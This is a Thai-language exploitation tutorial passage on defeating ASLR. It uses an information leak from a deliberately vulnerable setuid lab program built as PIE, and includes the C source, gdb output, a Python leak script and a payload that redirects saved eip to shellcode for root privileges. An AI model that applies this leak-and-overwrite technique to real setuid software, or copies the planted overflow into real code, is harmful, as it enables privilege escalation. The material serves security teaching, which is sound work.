เรามาดูตัวอย่างแบบง่ายๆ สำหรับ information leak เพื่อ defeating ASLR โดยเราจะใช้ตัวอย่างต่อไปนี้ (ex_14_2.c) แนะนำให้ลองทำโดยไม่ใช้วิธี brute force ก่อนนะครับ
/* gcc -fno-stack-protector -z execstack -pie -Wl,-z,relro -Wl,-z,now -o ex_14_2 ex_14_2.c sudo su -c "chown root: ex_14_2;chmod 4755 ex_14_2" */ #include <stdio.h> #include <stdlib.h> #include <string.h> void vuln() { char user[32]; char buf[128]; printf("Username: "); fflush(stdout); fgets(buf, 256, stdin); strncpy(user, buf, 32); printf("Hello %s\n", user); fflush(stdout); printf("Welcome to echo program. Type your data:\n"); fgets(buf, 256, stdin); printf("%s", buf); } void junk() { int i = 0x55555555; int j = 0x55555555; } int main(int argc, char **argv) { junk(); vuln(); return 0; }
เรามาดูที่ compile option "-pie" กันก่อน option นี้ จะทำให้ executable นั้นถูก load เหมือนเป็น shared object ซึ่งทำให้ ASLR มีผลกับ main executable ด้วย และถ้าเราดูไฟล์นี้ด้วยคำสั่ง file จะเห็นว่าเป็น shared object
$ file ex_14_2 ex_14_2: setuid ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.15, not stripped
ปัญหาของโปรแกรมนี้ อันแรกคือที่คำสั่ง fgets() รับจำนวน input มากกว่าที่ buf จองไว้ ซึ่งเป็น buffer overflow แต่เนื่องด้วยโปรแกรมนี้ compile แบบ PIE ซึ่งทำให้ตัวโปรแกรมเองถูกโหลดที่ random address ทำให้เราไม่สามารถใช้วิธี ใช้ส่วนที่ไม่ random ได้
ถ้าใครสังเกตโปรแกรมนี้ดีๆ จะเห็นอีกปัญหาหนึ่งที่คำสั่ง strncpy() จะเห็นว่าถ้าข้อมูล string ใน buf นั้นยาวมากกว่า 31 ตัว ทำให้ string ใน user ไม่ได้จบด้วยค่า NULL ซึ่งส่งผลให้เวลาโปรแกรมสั่ง printf() จะคิดว่า string user นั้นมีความยาวมากกว่า 32 ตัวอักษร และแสดงข้อมูลที่อยู่หลัง user แล้วเมื่อเราดูตำแหน่งของ user ใน stack ด้วย gdb
$ gdb -q ./ex_14_2 Reading symbols from /home/worawit/tutz/ch14/ex_14_2...(no debugging symbols found)...done. (gdb) b vuln Breakpoint 1 at 0x6f5 # จะเห็นว่า address เป็น offset ของคำสั่ง (gdb) r Starting program: /home/worawit/tutz/ch14/ex_14_2 Breakpoint 1, 0x00def6f5 in vuln () # executable ถูกโหลดที่ address 0x00def000 (gdb) disass Dump of assembler code for function vuln: ... 0x0011074b <+95>: mov $0x1108b7,%eax 0x00110750 <+100>: lea -0x28(%ebp),%edx # user อยู่ที่ ebp-0x28 0x00110753 <+103>: mov %edx,0x4(%esp) 0x00110757 <+107>: mov %eax,(%esp) 0x0011075a <+110>: call 0xb7ebd290 <printf> 0x0011075f <+115>: mov 0xb7fcb860,%eax 0x00110764 <+120>: mov %eax,(%esp) 0x00110767 <+123>: call 0xb7ed1a00 <fflush> ...
จะเห็นว่า user อยู่ที่ตำแหน่ง ebp-0x28 ดังนั้นคำสั่ง printf() อันแรกจะแสดงข้อมูล 40 ตัวก่อนแล้วจะตามด้วย saved ebp และ saved eip ดังนั้นวิธีทำ info disclosure สามารถทำด้วย code ต่อไปนี้ (ex_14_2_1.py)
#!/usr/bin/env python import os, sys from struct import pack,unpack pin_r, pin_w = os.pipe() pout_r, pout_w = os.pipe() pid = os.fork() if pid == 0: # child os.close(pin_w) os.close(pout_r) os.dup2(pin_r, 0) os.dup2(pout_w, 1) os.execl("./ex_14_2", "./ex_14_2") sys.exit() # parent os.close(pin_r) os.close(pout_w) data = os.read(pout_r, 256) os.write(pin_w, "A"*50+"\n") # ใส่อะไรก็ได้ให้ยาวกว่า 32 ตัวอักษร data = os.read(pout_r, 256) sebp, seip = unpack("<II", data[46:46+8]) # 46 เพราะว่ามี "Hello " sebp_addr = sebp - 0x10 seip_addr = sebp_addr + 4 image_load_addr = seip - 0x7d6 buf_addr = sebp_addr - 0xa8 print "saved ebp: %08x" % sebp print "saved eip: %08x" % seip print "saved ebp addr: %08x" % sebp_addr print "saved eip addr: %08x" % seip_addr print "image load addr: %08x" % image_load_addr os.write(pin_w, "AAAA\n") data = os.read(pout_r, 256)
เมื่อรัน python script ที่ path เดียวกันจะได้ (ถ้าใครงง ก็ให้ debug ดูนะครับ)
$ python ex_14_2_1.py saved ebp: bfdfddf8 saved eip: 0abca7d6 saved ebp addr: bfdfdde8 saved eip addr: bfdfddec image load addr: 0abca000
ค่า saved ebp ที่ถูก print ออกมานั้น เป็นค่า ebp ของ main() function ดังนั้นเราต้องลบไป 0x10 (ดูด้วย gdb) เพื่อให้ได้ address ของ saved ebp
ค่าหนึ่งผมอยากให้ดูคือ image_load_addr ถึงแม้ว่าค่านี้จะไม่ถูกใช้ในตัวอย่างนี้ แต่ค่านี้จำเป็นอย่างมากถ้าเราจำเป็นต้องใช้ code ใน executable เช่นในวิธี Use non-randomization address เพราะเริ่มต้นเรารู้เพียง offset ของ code แต่เมื่อเรารู้ว่า executable ถูก load ที่ address ไหน เราจะสามารถหาได้ว่า code ที่เราต้องการจะกระโดดไปทำงาน ถูกโหลดที่ address ใดใน virtual memory
เมื่อเรารู้ address ของ stack แล้ว เราก็สามารถ exploit ได้แค่แก้ saved eip ชี้ไปที่ shellcode ของเรา ด้วย python code ข้างล่างนี้
payload = sc + "A"*(0xa8-len(sc)) + "BBBB" + pack("<I", buf_addr)
แต่เนื่องด้วยเราสร้าง pipe ขึ้นมาแล้วเอามาแทน stdin กับ stdout และ default buffer size ของ pipe มีขนาด 4096 bytes ดังนั้น exploit ที่ผมใช้จึงมีการส่งขยะไปก่อน 4096 bytes แล้วตามด้วย command และจะได้ exploit ex_14_2.py ซึ่งเมื่อ run แล้วจะเห็นว่า euid มีค่าเป็น 0
ถ้าใครอยากให้ได้ shell เหมือนตัวอย่างที่ผ่านๆ มา ก็ทำได้ โดยการเรียก dup() เพื่อ copy stdin กับ stdout ไว้ก่อน แล้วก็เพิ่ม shellcode ที่จะ copy กับมาที่ file descriptor 0 กับ 1 (ตรงนี้ผมไม่ทำให้ดูนะครับ)
ก่อนจบอยากให้ลองถ้า main() ไม่มีการเรียก junk() แล้วจะเห็นว่าเรา exploit ที่เขียนมาไม่สามารถทำ info leak เพื่ออ่านค่า saved eip กับ saved eip ลองหาดูนะครับว่าทำไม แต่จริงๆ แล้วในกรณีนี้ยังสามารถทำ info leak ได้ แนะนำให้อ่าน http://vulnfactory.org/blog/2010/04/08/controlling-uninitialized-memory-with-ld_preload/ แล้วลองด้วยตัวเองนะครับ